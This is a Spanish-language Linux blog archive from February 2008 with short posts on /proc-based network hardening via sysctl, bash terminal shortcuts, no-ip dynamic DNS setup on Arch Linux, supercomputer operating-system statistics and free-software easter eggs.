2/29/2008


The Linux Counter Project: Registrate y serás un linuxero mas!


El proyecto contador Linux es un proyecto que fue creado el 1ero de Mayo de 1999.
Este proyecto comenzó con la intención de averiguar cuantos usuarios había en el mundo que utilizaran Linux. La idea era que la gente se registrara como un usuario de Linux y así poder obtener una estimación base de cuantos usuarios existían en el mundo. Al principio los datos estadísticos que manejaban era únicamente el numero de usuarios existentes, ahora colectan información como: tipo de equipo de computo que los usuarios utilizan, que distribución tienen instalada y a que país pertenecen, entre otros datos.

La intención de este post es de invitar a todos aquellos que no se han registrado a que lo hagan para así ir formando un estadístico mas acertado del numero de usuarios de Linux que existimos en el mundo.

De igual forma te invito a que le hagas difusión a este post publicándolo en otros blogs, foros, paginas para asi poder seguir invitando a mas personas a que formen parte de la estadística.

También si sabes de algún otro servicio que sea similar o mejor te invito a que dejes referencia en la sección de comentarios de este post.

Fuente: http://hdesu.wordpress.com/2008/01/22/the-linux-counter-project-vuelvete-parte-de-la-estadistica-registrate-como-usuario-de-linux/


Linux + YouTube = Lintube???


Lintube es un sitio que su especialidad es mostrarte videos de Linux que estan alojados en YouTube y otros sitios que alojan vídeos..

En la sección de Comerciales “Commercials” encontré unos muy buenos. Por ejemplo están algunos vídeos de Novell los cuales son muy parecidos a una tira cómica de la cual hable hace unos días. Obviamente son una parodia de los comerciales de la Mac.

Fuente: http://hdesu.wordpress.com/2008/01/29/linux-youtube-lintube/


La noche de los ciberzombis mercenarios

Creo que cualquier persona con interés en Internet debería leer el relato completo de las aventuras de Ricardo Galli siguiendo todos los links. Estamos ante la mejor novela policíaca de todos los tiempos, con el añadido de que todo es verdad. No es que la realidad supere a la ficción; es que en este caso la realidad descalifica a cualquier escritor, porque nadie podría haber imaginado nada que le llegue a la suela del zapato a la odisea de Ricardo.

Vista como obra de arte, se trata de un performance aterradora con el clásico argumento de la persona normal que se ve envuelta en un lío en el que cuantos más hilos estira, más se enreda el ovillo. La aventura (o desventura) está narrada en el lenguaje convulso y roto de Internet. Muchos personajes no se sabe ni quiénes son y muchas escenas acontecen en el ciberespacio forero, con su mezcla de abstracción y realidad más brutal. Ciertamente nadie podrá volver a vivirlo de la forma en que lo ha vivido Ricardo Galli, pero lo ha narrado sobre la marcha dejando un testimonio inapreciable de lo que es la vida en la Red a principios del siglo XXI...

Al empezar el relato el lector sólo ve el caos más absoluto. Luego, algunas de las volutas de información empiezan a arremolinarse formando siluetas evanescentes. Mientras tanto los ataques brutales y de potencia cósmica contra los sitios se suceden. En cualquier momento miles de zombis pueden vomitar trillones de bits contra cualquiera. Es como una especie de Alcaudón cibernético que aparece de pronto y arrasa con todo.

La historia avanza un poco al azar. Aparecen personajes, cartas desde IPs misteriosas, confesiones equívocas de supuestos testigos que parece que sepan cuando dicen que no saben y al revés. Poco a poco el humo se hace tan espeso que forma siluetas y al final algunas toman cuerpo al acercarse el desenlace.

Hay un contraste espeluznante entre la magnitud del efecto y la banalidad de la causa; por ello el relato discurre desde las horrísonas tormentas de paquetes hasta su origen en el mundo real y cotidiano de un barrio de clase media a orillas del Río de la Plata. El miedo del protagonista pasa de un miedo cuasi sobrenatural a los súbitos diluvios de paquetes al miedo concreto y físico a la agresión callejera.

Spoiler del argumento: Al final llegan los picoletos y trincan a los malos. Internet se convierte un sitio un poco mejor (aunqe sea infinitesimalmente) y el protagonista es felicitado.

Pero aún queda una coda de novela negra postmoderna. Algunos hilos quedan sueltos y algunas siluetas de humo se desvanecen sin revelar su dueño. Los foros bullen de rumores. Los miles de PCs zombis quedan otra vez abandonados a los chats banales de sus dueños mientras esperan a un nuevo Saruman adolescente que los ponga al servicio del mal.

Fuente:
http://www.kriptopolis.org/ciberzombis-mercenarios


Seguridad en /proc

Si no conocen el directorio /proc, es mejor que tengan algunos conocimientos sobre él, pueden ver Descubriendo al directorio /proc como recomendación.

Seguridad en /proc

Opciones de seguridad en Linux a través de /proc (I)

Diversos parámetros de seguridad de las máquinas que ejecuten Linux pueden ser
controlados a través del sistema de archivos virtual /proc.

/proc es un pseudo-sistema de archivos, ya que en realidad ni él ni ninguno de
los archivos y directorios contenidos en su interior existen realmente. /proc
nos facilita una interfaz para acceder y, en algunos casos, modificar, algunas
estructuras de datos del núcleo del sistema operativo.

/proc está disponible en el sistema operativo Linux cuando el núcleo se ha
compilado con la opción CONFIG_PROC_FS=Y. También deberemos seleccionar la
opción CONFIG_SYSCTL=Y para poder modificar el valor de determinados
parámetros, como veremos más adelante. La mayoría de distribuciones incluyen
núcleos compilados con esta opción y, como regla general, es aconsejable
seleccionarla en el momento de recompilar el núcleo.

El sistema de archivos /proc puede montarse automáticamente en el momento de
iniciar el sistema (si así se indica en el archivo /etc/fstab). En el caso de
que sea necesario montarlo manualmente, debe utilizarse la siguiente orden:

mount -t proc proc /proc

Es aconsejable que /proc sea montado automáticamente al sistema y que el núcleo
siempre se compile para dar soporte a este pseudo- sistema de archivos. En caso
de no disponer del soporte, muchos programas de utilidad no funcionarán y no
podremos modificar en tiempo de ejecución algunos parámetros del núcleo del
sistema operativo. Muchos de estos parámetros que nos pueden interesar
modificar son muy importantes desde el punto de vista de seguridad.

Contenido de /proc:

Dentro del directorio /proc encontramos dos tipos básicos de información. En
primer lugar, para cada proceso activo existe un directorio. Dentro del
directorio de cada proceso hay diversos archivos así como un subdirectorio con
información específica del proceso (parámetros pasado en la línea de órdenes,
enlace al directorio actual del proceso, las variables de entorno dentro del
contexto del proceso, los descriptores de los archivos abiertos en el proceso,
mapa e información acerca de la utilización de la memoria...).

Adicionalmente, existen una serie de directorios con información acerca de los
diferentes módulos del sistema operativo. En el archivo proc.txt (disponible en
el directorio Documentation/filesystems del código fuente del núcleo de Linux)
hay información detallada de todo lo que podemos encontrar dentro de /proc.
Otro documento de interés es ip-sysctl.txt, disponible en el directorio
Documentation/networking del código fuente del núcleo de Linux.

No todos los parámetros existentes en /proc son modificables directamente por
el usuario. De hecho, la mayoría son valores de sólo lectura y otros son mucho
mejor controlados por el núcleo o mediante la utilización de los diversos
mandatos y herramientas existentes en el sistema.

/proc/sys/net/ipv4

Dentro de este directorio disponemos de una serie de archivos con los valores y
parámetros para el protocolo IPv4. Se trata de los valores directamente
utilizados por el núcleo del sistema operativo en las comunicaciones TCP/IP
basadas en el protocolo IPv4.

Para determinar el valor de uno de estos parámetros lo único que tenemos que
hacer es mirar su contenido. Por ejemplo:

$cat /proc/sys/net/ipv4/icmp_echo_ignore_all
0

nos muestra que actualmente el sistema operativo tiene asignado el valor 0
(desactivado) al parámetro ICMP_ECHO_IGNORE_ALL.

El usuario root del sistema tiene el privilegio de modificar el valor de estas
variables:

# echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
# cat /proc/sys/net/ipv4/icmp_echo_ignore_all
1

Otra forma de configurar los valores es utilizando la utilidad sysctl.
Utilizando el ejemplo anterior, para determinar el valor debemos
utilizar:

$ sysctl net.ipv4.icmp_echo_ignore_all
net.ipv4.icmp_echo_ignore_all = 0

y para establecer el valor:

# sysctl -w net.ipv4.icmp_echo_ignore_all=1
net.ipv4.icmp_echo_ignore_all = 0

Ambas formas son equivalentes y podemos utilizar aquella con la que nos
encontremos más cómodos.

Una última forma de modificar los valores de los parámetros, de forma que estos
se mantengan incluso después de reiniciar el sistema es a través del archivo /
etc/sysctl.conf. Podemos obtener más detalles del formato de este archivo
ejecutando

man systcl.conf

Si se modifica el archivo /etc/sysctl.conf, los parámetros sólo se activarán la
próxima vez que se reinicie la máquina o bien después de reiniciar el soporte
de red, ejectuando

/etc/rc.d/init.d/network restart

Continuamos con la descripción de los parámetros de seguridad de las máquinas
que ejecutan Linux con el sistema de archivos virtual /proc. Los parámetros que
vamos a ver a continuación muestran como podemos controlar la forma en que un
sistema actúa en determinadas circunstancias. Estos parámetros nos van a ayudar
a fortalecer la seguridad del sistema operativo. Estos parámetros son un
complemento a las medidas de protección perimétricas, como pueden ser los
cortafuegos.

Mediante /proc no sólo podemos cambiar estos parámetros. Hay otras muchas cosas
interesantes que podemos hacer, como por ejemplo mejorar el rendimiento del
sistema de archivos, modificar la forma en que el sistema gestiona la memoria
virtual, incrementar el número máximo de archivos abiertos de forma simultánea
y otros cambios. Los lectoresinteresados pueden encontrar información al
respecto en la documentación que acompaña al código fuente del núcleo de Linux.

Todos los mandatos que indicamos a continuación deben ser ejecutados por el
usuario root.


Control del protocolo ICMP

- -Ignorar las peticiones de repuesta a ping

Dependiendo de la configuración de la red, puede ser interesante configurar el
sistema para que éste no responda cuando recibe un ping (mensaje ECHO del
protocolo ICMP). De esta forma, puede ser un poco más difícil que un atacante
descubra si el sistema está conectado a la red.

Para desactivar las respuesta de forma temporal:

# sysctl -w net.ipv4.icmp_echo_ignore_all=1

y para desactivarla de forma permanente, editar el archivo /etc/sysctl.conf y
añadir las líneas

net.ipv4.icmp_echo_ignore_all = 1

(Nota= En los siguientes parámetros, si se desea realizar el cambio de forma
permanente deberá modificarse igualmente el archivo /etc/sysctl.conf, tal como
hemos hecho para este parámetro).


No atender a las peticiones enviadas mediante broadcast

Cuando una máquina envía un paquete a la dirección de broadcast (por ejemplo,
192.168.1.255), éste es entregado a todas las máquinas existentes en la red
local. A continuación, todas las máquinas deben enviar un mensaje ECHO del
protocolo ICMP. Esto puede provocar una congestión de la red, a la vez que
permite determinar que sistemas están activos en la red.

Para desactivar la recepción de paquetes enviados a la dirección de broadcast:

# sysctl -w net.ipv4.icmp_echo_ignore_broadcasts = 1


Protección ante mensajes de error mal formateados

Es posible que una red se transmitan mensajes de error mal formateados. Para
evitar que éstos sean procesados por el sistema:

# sysctl -w net.ipv4.icmp_ignore_bogus_error_responses = 1


Deshabilitar la aceptación de redirecciones

Cuando el ordenador utiliza una ruta extinta o no-óptima para enviar un paquete
a un destino particular, los routers por donde circula el paquete envían al
origen un mensaje de redirección del protocolo ICMP para informar de la ruta
correcta a utilizar en el futuro.

Si un atacante tiene la capacidad de enviar mensajes de redirección puede
modificar las tablas de direccionamiento del ordenador, haciendo por ejemplo
que todo el tráfico fluya a través de una vía concreta.

Para evitar el proceso de estos mensajes en el sistema:

# sysctl -w net.ipv4.conf.all.accept_redirects = 0
# sysctl -w net.ipv4.conf.default.accept_redirects = 0


Protección contra ataques DoS de inundación SYN

El ataque de denegación de servicio (DoS) por inundación SYN ("SYN Flood")
consigue consumir todos los recursos de la máquina, haciendo que sea necesario
reiniciarla para volver a funcionar con normalidad.

Cada vez que se realiza una conexión TCP/IP existe una negociación de tres
pasos:

1. El cliente envía un paquete (paquete 1) al servidor con el bit SYN activado
y permanece a la escucha.
2. El servidor responde al cliente con un paquete de confirmación (paquete 2) y
permanece a la escucha.
3. El cliente envía un tercer paquete (paquete 3) que consolida la conexión.


La información recibida en el paquete 1 se conserva dentro de una cola para que
pueda ser comparada con los datos recibidos en el paquete 3 y dar por
establecida la conexión. Esta cola es de un tamaño limitado y tiene un tiempo
de latencia muy elevado.


El ataque de inundación SYN consiste en llenar esa cola, mediante el envío de
un gran número de paquetes 1 y nunca respondiendo con un paquete 3. En el
momento en que se llena la cola, el sistema es incapaz de atender cualquier
otra petición de conexión que reciba.

La protección contra este ataque consiste en añadir información en el paquete
2, de forma que no sea necesaria conservar en el servidor ningún dato sobre el
cliente.

Para activar esta protección:

# sysctl -w net.ipv4.tcp_syncookies = 1

Con este valor, el sistema utilizará el método de incluir la información en el
paquete 2 siempre que la cola de paquetes por procesar esté saturada.


Protección contra direcciones IP no válidas

Esta protección permite que la máquina no pueda utilizarse para el envío de
paquetes con direcciones IP no válidas. Este tipo de paquetes son habitualmente
enviados cuando la máquina está intentando realizar una acción potencialmente
ilegítima, como puede ser la suplantación de una conexión o el envío de
paquetes en un ataque de denegación de servicio.
Para activar esta protección:

# sysctl -w net.ipv4.conf.all.rp_filter = 2
# sysctl -w net.ipv4.conf.default.rp_filter = 2

El valor de los parámetros puede ser 0 (valor por omisión, no realizar ninguna
comprobación), 1 (rechazar únicamente las suplantaciones
evidentes) y 2 (realizar una comprobación exhaustiva). Aconsejamos seleccionar
la opción de comprobación exhaustiva.

Esta opción no debe utilizarse en aquellos sistemas que actúen como cortafuegos
o routers.


Redireccionamiento IP

El redireccionamiento IP es que en un sistema con diversos interfaces activos,
se acepten paquetes en un interfaz con destino al otro. Si la opción de
rediccionamiento está activa, la máquina podrá actuar como un router para el
tráfico entre las redes existentes de cada uno de los interfaces.

Únicamente aquellos sistemas que actúan como cortafuegos o routers o bien en
circunstancias muy especiales deberían tener esta opción activa.

Para verificar que se encuentra desactivada:

# sysctl -w net.ipv4.ip_forward = 0

Tal como hemos indicado anteriormente, en caso de activar con el valor 1 esta
opción, también deberemos modificar el valor de net.ip4.conf.all.rp_filter y
net.ipv4.conf.default.rp_filter.


Control de rutas

Habitualmente un sistema no tiene ningún control sobre la ruta utilizada por
los paquetes en su camino hacia su destino. El protocolo TCP/IP permite
establecer la ruta exacta a seguir. Excepto en circunstancias muy especiales,
este soporte deberá ser desactivado para evitar que un atacante pueda utilizar
un sistema concreto como paso para saltarse las
protecciones establecidas en el tráfico.

Para desactivar esta opción:

# sysctl -w net.ipv4.conf.all.accept_source_route = 0
# sysctl -w net.ipv4.conf.default.accept_source_route = 0


Registro de actividades sospechosas

Un último valor de interés nos permite registrar en los archivos de actividad
del sistema aquellas situaciones potencialmente sospechosas:


intento de envío de paquetes con dirección no válida, paquetes con cambio de
rutas y otras situaciones similares.

Se trata de una serie de situaciones que en un funcionamiento normal de la red
no pueden producirse en ninguna circunstancia. Un ejemplo puede ser la
recepción de un paquete a través de un interfaz Ethernet con dirección origen
igual a 127.0.0.1

Para activar el registro de esta actividad:

# sysctl -w net.ipv4.conf.all.log_martians = 1
# sysctl -w net.ipv4.conf.default.log_martians = 1

Fuentes:
http://www.govannom.org/seguridad/protect/seg_proc_i.txt

2/27/2008


Combinaciones de teclas útiles para las Terminales(TTY) en Gnu/Linux.

En las TTY o terminales de modo texto que tenemos en nuestro Gnu/Linux, podemos hacer infinidades de cosas pero sin conocer las combinaciones de teclas para movilizarnos por ellas, se nos complica bastante algunas acciones tan normales en el mundo gráfico como cortar y pegar. Espero que les resulte útil el artículo, es una recopilación de combinaciones muy utilizadas.
Para utilizar alguna consola tty solo es necesario presionar [ctrl]+[alt]+[X]. Dónde X representa la tecla F1 hasta F6 inclusive.


Desplazamiento:
[alt] + [F1 hasta F9] -> En modo texto cambia la tty 1,2 ... Permite tener varias sesiones abiertas aunque no se tengan ventanas. [alt] + F7 permite volver al modo gráfico.
[Flecha arriba] / [Flecha abajo] -> Desplazarse a través del historial de comandos de consola.
[alt] + [Flecha izquierda] / [Flecha derecha] -> Desplazarse entre las diferentes consolas abiertas.
[shift] + [RePag]/[AvPag] -> Hace scroll vertical por el terminal. Como si tuviera barra de desplazamiento vertical.

Movimiento del Cursor:
[ctrl] + a -> Mueve el cursor al principio de la línea
[ctrl] + e -> Mueve el cursor al final de la línea.
[ctrl] + f -> Mueve el cursor una letra adelante.
[ctrl] + b -> Mueve el cursor una letra hacia atrás.
[alt] + f -> Mueve el cursor al final de la palabra.
[alt] + b -> Mueve el cursor al comienzo de una palabra. Opuesto al anterior.

Borrar:
[ctrl] + d -> Para borrar el carácter seleccionado con el cursor. Similar a la tecla Supr.
[ctrl] + w -> borra la palabra anterior o, si el cursor está sobre una palabra, borra su primera letra.
[ctrl] + l -> Limpia toda la pantalla, salvo la última línea (equivalente a clear).

Selección:
Aún desconozco si se pueda seleccionar texto con el teclado, por el momento solo conozco con el uso del mouse, mediante el daemon gpm. O a través del window manager para las terminales, screen.

Cortar:
[ctrl] + u -> Corta desde el comienzo de la línea hasta el cursor.
[ctrl] + k -> Lo mismo, pero desde el final hasta el punto en el que estoy (se supone que el cursor lo tengo en algún punto entre el principio y el final de la línea).
[alt] + d -> Si el cursor está al principio de la palabra, corta la palabra, si el cursor está encima de una letra, corta las siguientes letras hasta que encuentre un espacio.

Pegar:
[ctrl] + y -> Pega la última línea almacenada en el buffer.
[alt] + y -> Busca en el buffer las líneas almacenadas que deseamos pegar.
[shift] + Insert -> Pega lo que hemos seleccionado.

Auto completar:
2T significa presionar dos veces consecutivas la tecla TAB:

2T -> Muestra todos los comandos disponibles.
(abc)2T -> Muestra todos los comandos disponibles empezando con (abc).
*2T -> Muestra los directorios del directorio donde estemos ubicados.
./2T -> Muestra todos los directorios del directorio donde estemos ubicados, incluyendo los ocultos.
/2T -> Muestra los directorios del archivo raiz.
~2T -> Muestra todos los usuarios que posean directorio ubicados en /etc/passwd.
$2T -> Muestra todas las variables del sistema.
@2T -> Muestra las entradas en /etc/hosts

Además.....:
[alt] + c -> Si el cursor esta sobre una letra, la convierte en mayúscula y mueve el cursor al final.
[ctrl] + r -> Busca comandos y/o palabras que escribimos en la terminal. Las cuales se almacenan en .bash_history.
[ctrl] + s -> Activa el scroll lock. Es decir no vemos lo que escribimos o los comandos que ejecutamos en la terminal.
[ctrl] + q -> Desactiva el scroll lock y volvemos a tener uso del teclado.
[ctrl] + z -> Deja en suspenso un proceso, pudiendo posteriormente ejecutarlo en background (pulsando "bg") o en "foreground" (pulsando "fg").
[ctrl] + c -> Quita la línea que estabas escribiendo (si se pulsa mientras se ejecuta algún programa en esa shell, esta aplicación es matada).
[Ctrl]+ d -> Termina la terminal actual.
[Ctrl]+[Alt]+[Del] -> Shutdown. Apaga el sistema de forma organizada desde una terminal texto.

Si alguien conoce alguna otra combinación que no esté en la lista se lo agradeceré. Saludos!

Fuentes:
http://www.ubuntu-es.org/index.php?q=node/25822
http://blogdrake.net/node/6028
http://www.wikilearning.com/monografia/fundamentos_de_bash-combinaciones_de_teclas/5846-3
http://www.bootlog.cl/blog/linux/tip-combinaciones-de-tecla-en-bash/

2/26/2008


Instalar no-ip en Arch Linux

No-ip provee administración de DNS, DNS dinámicos, registración de dominios, email y muchos otros servicios relacionados al dominio.
Para comprender bien el concepto es necesario entender que es una dirección IP y un DN(Nombre de dominio). Las computadoras y dispositivos se identifican en internet a través de una dirección única, que es llamada como direccion IP (IPv4) y está formada por cuatro grupos de 8 bits cada uno. Ej: 201.255.145.193.
Pero como es muy dificil acordarse de las direcciones IP para acceder a los diferentes equipos, se crearon los nombres de dominio. Por lo cual nosotros ingresamos el nombre de la maquina en cuestión y nuestro DNS(Servidor de Nombre de Dominios) se encargará de traducir la petición a su dirección en formato númerico.

Ej: www.google.com---------> IP 216.239.51.99

Pero como verán solo funciona si nuestra IP se mantiene fija y no varía en el tiempo, pero como las conexiones por ADSL son dinámicas, es decir nuestra IP se renueva cada nueva conexión, este sistema no funcionaría, si quisieran ver una página en mi servidor y mi modem se desconecta y vuelva a conectarse, tendría otra ip y el DNS del cliente apuntaría a otra IP inexistente o no.

Lo que nos permite no-ip es mantener nuestro nombre de dominio fijo ej: braianet.no-ip.org y actualizar la IP cada vez que el modem se conecte nuevamente. Por este motivo siempre que quiera acceder a mi equipo estará disponible ya que la dirección ip actualizada y el nombre de dominio son correctos.
Primero nos creamos una cuenta en http://www.no-ip.com/newUser.php
Completamos los datos y recibiremos un mail, clik para confirmar la operación.
Luego ingresamos nuestro e-mail y contraseña.

Vamos a la sección Add:

Your No-IP
Hosts / Redirects
Add

despues en Hostaname ingresamos el nombre que queremos para nuestro equipo, y el domino.

Hostname Information
Hostname: .

Host Type:

DNS Host (A)
DNS Host (Round Robin)
DNS Alias (CNAME)
Port 80 Redirect
Web Redirect

IP Address:

View History
Assign to Group: View Groups | Add Group
Allow Wildcards: Enhanced/Plus Feature
Own a domain name?
Use your own domain name with our DNS system. Add your domain name now or read more for pricing and features.

Clickeamos en Create Host y listo, ahora necesitamos la aplicación:

Para instalar en ArchLinux:

# pacman -S noip
resolviendo dependencias... Hecho.
verificando conflictos... Hecho.

A instalar: noip-2.1.4-1

Tamaño total de paquetes: 0,10 MB

¿Continuar con la instalación? [Y/n] Y
:: Descargando paquetes desde community...
noip 17,1K 33,1K/s 00:00:01 [#####################] 100%
Verificando la integridad de los paquetes... Hecho.
limpiando...Hecho.
(1/1) verificando conflictos entre archivos [#####################] 100%
(1/1) instalando noip [#####################] 100%

####################################################
# IMPORTANT! #
# BEFORE running noip2 YOU MUST CONFIGURE IT! #
# To configure noip2 run the command "noip2 -C -Y" #
####################################################

# noip2 -C -Y

Auto configuration for Linux client of no-ip.com.

Please enter the login/email string for no-ip.com TUDIRECCIONDEMAIL
Please enter the password for user 'braianel22@gmail.com' CONTRASEÑA

Only one host [braianet.no-ip.org] is registered to this account.
It will be used.
Do you wish to run something at successful update?[N] (y/N) y
Please enter the script/program name

New configuration file '/etc/no-ip2.conf' created.

Para iniciarlo:
# /etc/rc.d/noip start

Y para iniciarlo siempre al encender el equipo lo agregamos a la sección DAEMONS de /etc/rc.conf

DAEMONS=(syslog-ng network netfs crond alsa !cups hal adsl noip !tor !privoxy !dbus !httpd !mysqld)

Gracias a no-ip podemos tener un servidor web o ftp y acceder de cualquier lugar del mundo, solo conociendo nuestro nombre de dominio :). Saludos!

2/25/2008


10 lecciones sobre la vida, por Albert Einstein


Criptografía - HASH

El Dr. C. Osvaldo Rodriguez, Editor Tecnológico de la Revista NEX IT, explica brevemente cómo funciona la metodología de encriptación HASH







Fuente:
http://nexmedia.com.ar//index.php?option=com_content&task=view&id=77&Itemid=47


Los sistemas operativos de los supercomputadores (1993-2008)

Más del 95% de los portátiles y PCs de sobremesa del mundo tienen instalado Windows. El dominio de Microsoft, se diga lo que se diga, es aplastante en este campo y apenas deja margen para otras alternativas como GNU/Linux, BSD o Mac OS X.

Otro mundo son los supercomputadores. Allí la presencia de los sistemas operativos de la compañía de Redmond es testimonial. Casi inexistente. Estamos en un sector en el que, al contrario de lo que sucede en el ámbito doméstico, GNU/Linux es con insultante diferencia la opción mayoritaria. Y cada año que pasa lo es más:

Sistemas operativos utilizados en los supercomputadores
En la actualidad, casi el 80% de los supercomputadores corren GNU/Linux, mientras que un 12% apuestan por Unix. Lejos, muy lejos, quedan BSD, con un 0,8%, Mac OS X con un 0,6%, y Windows con un 0,4%. Aquí tenéis una tabla que muestra las cifras exactas que mueven cada uno de estos sistemas operativos:
Sistema Operativo Equipos Porcentaje
GNU/Linux 389 77,8%
Windows 2 0,4%
Unix 60 12%
Mac OS 3 0,6%
BSD 4 0,8%
Varios 42 8,4%

Fuente:
http://www.abadiadigital.com/noticia2815.html

2/24/2008


Huevos de pascua en software libre

Los programadores de software libre realizan frecuentes guiños a sus usuarios mediante el tradicional método de esconder algunas sorpresas en sus aplicaciones.

A continuación os muestro algunas de las más curiosas...

  1. Escribe apt-get en un terminal. Tanto en Ubuntu como en Debian obtendrás un misterioso mensaje:
    Este APT tiene poderes de Super Vaca.

    Escribe ahora apt-get moo:

             (__)
    (oo)
    /------\/
    / | ||
    * /\---/\
    ~~ ~~
    ...."Have you mooed today?"...

  2. También en Ubuntu y Debian. Escribe aptitude moo:
    No hay ningún huevo de pascua en este programa.

    Escribe ahora aptitude -v moo:

    Realmente no hay ningún huevo de pascua en este programa.

    Insistimos con aptitude -vv moo:

    ¿No le he dicho ya que no hay ningún huevo de pascua en este programa?

    Uhm... No me lo creo. Escribe aptitude -vvv moo:

    ¡Deje de hacer eso!

    Insiste: aptitude -vvvv moo:

    Vale, vale, si le doy un huevo de pascua, ¿se irá?

    Parece que vamos por buen camino: aptitude -vvvvv moo:

    De acuerdo, usted gana.

    /----\
    -------/ \
    / \
    / |
    -----------------/ --------\
    ----------------------------------------------

    Bueno; de eso se trataba ;) Pero aún hay más: aptitude -vvvvvv moo:

    ¿Qué es? Es un elefante que está siendo devorado por una serpiente, por supuesto.

    Una alusión a "El principito", parece ser... No insistas. Por más v que añadas ya no encontrarás nada nuevo.

  3. Para Gnome. Pulsa Alt-F2. Teclea gegls from outer space:

  4. ¿Un buscaminas escondido en Ubuntu y Debian?. Escribe aptitude en un terminal y luego Ctrl-T:

  5. Firefox. Escribe about:mozilla en la barra de direcciones:


Después de la primera entrega llegan más huevos de pascua ocultos en aplicaciones libres...

  1. Gnome: Pulsa Alt-F2 y escribe free the fish. Pulsar sobre el pez para perderlo de vista... al menos por un rato y procura no fallar, que es peor ;)

  2. Gnome: botón derecho sobre cualquier panel -> Propiedades -> Fondo -> Color sólido. Pulsar en la barra estilo tres veces con el botón derecho:

  3. Hoja de cálculo de OpenOffice. Hay varios:
    Escribir =GAME("StarWars") en cualquier celda:

    Escribir =GAME(A2:C4;"TicTacToe") en la celda A1:

    Escribir =starcalcteam() en la celda A1:

    Escribe =TTT() en cualquier celda y obtendrás un smiley aleatorio.

  4. En el procesador de textos de OpenOffice escribe StarWriterTeam y pulsa F3:

  5. En un terminal escribe zenity --about, pulsa Enter y escribe luego zen:

  6. Ubuntu-Debian. En un terminal escribe zgrep "The.*Release" /usr/share/doc/dpkg/changelog.Debian.gz.

  7. En un terminal escribe ddate y obtendrás fechas absurdas.

  8. PHP. Al final de la dirección de un sitio que utilice PHP puedes añadir las siguientes cadenas, que podrán devolver curiosos resultados:

    1.?=PHPE9568F36-D428-11d2-A769-00AA001ACF42
    2.?=PHPE9568F34-D428-11d2-A769-00AA001ACF42
    3.?=PHPE9568F35-D428-11d2-A769-00AA001ACF42
    4.?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000

  9. En un terminal escribe gparted (si lo tienes instalado) y obtendrás este elocuente aviso:


Fuente:
http://www.kriptopolis.org/huevos-de-pascua-en-software-libre-1
http://www.kriptopolis.org/huevos-de-pascua-en-software-libre-2


Descubriendo al directorio /proc

El directorio /proc es una bestia extraña. Realmente no existe, sin embargo puedes explorarlo. Sus archivos de tamaño 0 no son ni binarios ni textos, sin embargo puedes examinarlos y desplegar su contenido. Este directorio especial contiene todos los detalles de tu sistema Linux, incluyendo el kernel, procesos y parámetros de configuración. Estudiando el directorio /proc, puedes aprender como los comandos de Linux trabajan e incluso es posible realizar tareas administrativas.

Bajo Linux, todo es administrado como un archivo; incluso los dispositivos son accedidos como archivos (en el directorio /dev). Aunque que podrías pensar que archivos "normales" son ya sea texto o binarios (o posiblemente dispositivos o archivos pipe), el directorio /proc contiene una extraño tipo de archivo: archivos virtuales. Estos archivos son listados, pero realmente no existen en disco; el sistema operativo los crea al vuelo si tratas de leerlos.

La mayoría de los archivos virtuales siempre tienen una marca de tiempo (timestamp) actual, lo que indica que están constantemente siendo actualizados. El directorio /proc en si mismo es creado cada vez que arrancas tu equipo. Se requiere ser root para poder examinar completamente el directorio en su totalidad; algunos de los archivos (tales como los relacionados a procesos) son propiedad del usuario que los ejecutó. Y aunque casi tdos los archivos son de solo lectura, hay algunos pocos con permisos de escritura (notablemente en /proc/sys) que permiten realizar cambios en los parámetros del kernel. (Queda claro que debes ser muy cuidados con esto)


Organización del directorio /proc

El directorio /proc está organizado en directorios virtuales y subdirectorios, que agrupan archivos de tópicos similares. Trabajando como root el comando ls /proc te despliega algo como lo siguiente:

#> ls /proc
1 2432 3340 3715 3762 5441 815 devices modules
129 2474 3358 3716 3764 5445 acpi diskstats mounts
1290 248 3413 3717 3812 5459 asound dma mtrr
133 2486 3435 3718 3813 5479 bus execdomains partitions
1420 2489 3439 3728 3814 557 dri fb self
165 276 3450 3731 39 5842 driver filesystems slabinfo
166 280 36 3733 3973 5854 fs interrupts splash
2 2812 3602 3734 4 6 ide iomem stat
2267 3 3603 3735 40 6381 irq ioports swaps
2268 326 3614 3737 4083 6558 net kallsyms sysrq-trigger
2282 327 3696 3739 4868 6561 scsi kcore timer_list
2285 3284 3697 3742 4873 6961 sys keys timer_stats
2295 329 3700 3744 4878 7206 sysvipc key-users uptime
2335 3295 3701 3745 5 7207 tty kmsg version
2400 330 3706 3747 5109 7222 buddyinfo loadavg vmcore
2401 3318 3709 3749 5112 7225 cmdline locks vmstat
2427 3329 3710 3751 541 7244 config.gz meminfo zoneinfo
2428 3336 3714 3753 5440 752 cpuinfo misc

Los directorios con números (más sobre esto en un momento) corresponden a cada proceso en ejecución; un autoenlace simbólico apunta al proceso actual. Algunos archivos virtuales proveen información sobre el hardware, tal como /proc/cpuinfo y /proc/interrupts. Otros proporcionan información relacionada a los archivos, tales como /proc/filesystems o /proc/partitions. Los archivos situados bajo /proc/sys son relacionados a la configuración de parámetros del kernel, como ya veremos.

El comando cat /proc/meminfo puede traer a la pantalla algo como lo siguiente:

# cat /proc/meminfo
MemTotal: 483488 kB
MemFree: 9348 kB
Buffers: 6796 kB
Cached: 168292 kB
...varias líneas cortadas...

Si ejecutas los comandos top o free, es posible que reconozcas algunos de estos valores. De hecho, varias utilerias muy conocidas acceden al directorio /proc para obtener su información. Por ejemplo, si tu quieres saber que tipo de kernel estás corriendo, puedes tratar con uname -srv, o ir directamente al origen y teclear cat /proc/version. Algunos otros archivos interesantes son:

  • /proc/apm: Proveé información sobre "Advanced Power Management", si es que esta instalado.
  • /proc/acpi: Un directorio similar al anterior que ofrece bastantes datos sobre el más moderno ACPI (Advanced Configuration and Power Interface). Por jemplo, para ver si tu laptop está conectada a la corriente AC, puedes usar cat /proc/acpi/ac_adapter/AC/state o en algunas distros cat /proc/acpi/ac_adapter/ACAD/state, y así obtendrás "on line" o "off line".
  • /proc/cmdline: Muestra los parámetros que fueron pasados al kernel al momento del arranque (boot time). En mi caso contiene lo siguiente: root=/dev/disk/by-id/scsi-SATA_FUJITSU_MHS2040_NLA5T3314DW3-part3 vga=0x317 resume=/dev/sda2 splash=silent PROFILE=QuintaWiFi, que me dice que en que partición está la raíz del filesystem, que modo VGA está en uso y más. El último parámetro tiene que ver con openSUSE's System Configuration Profile Management.
  • /proc/cpuinfo: Muestra datos sobre el procesador de tu equipo. Por ejemplo, en mi laptop, cat /proc/cpuinfo me da un listado que comienza con:.
    processor       : 0
    vendor_id : AuthenticAMD
    cpu family : 6
    model : 8
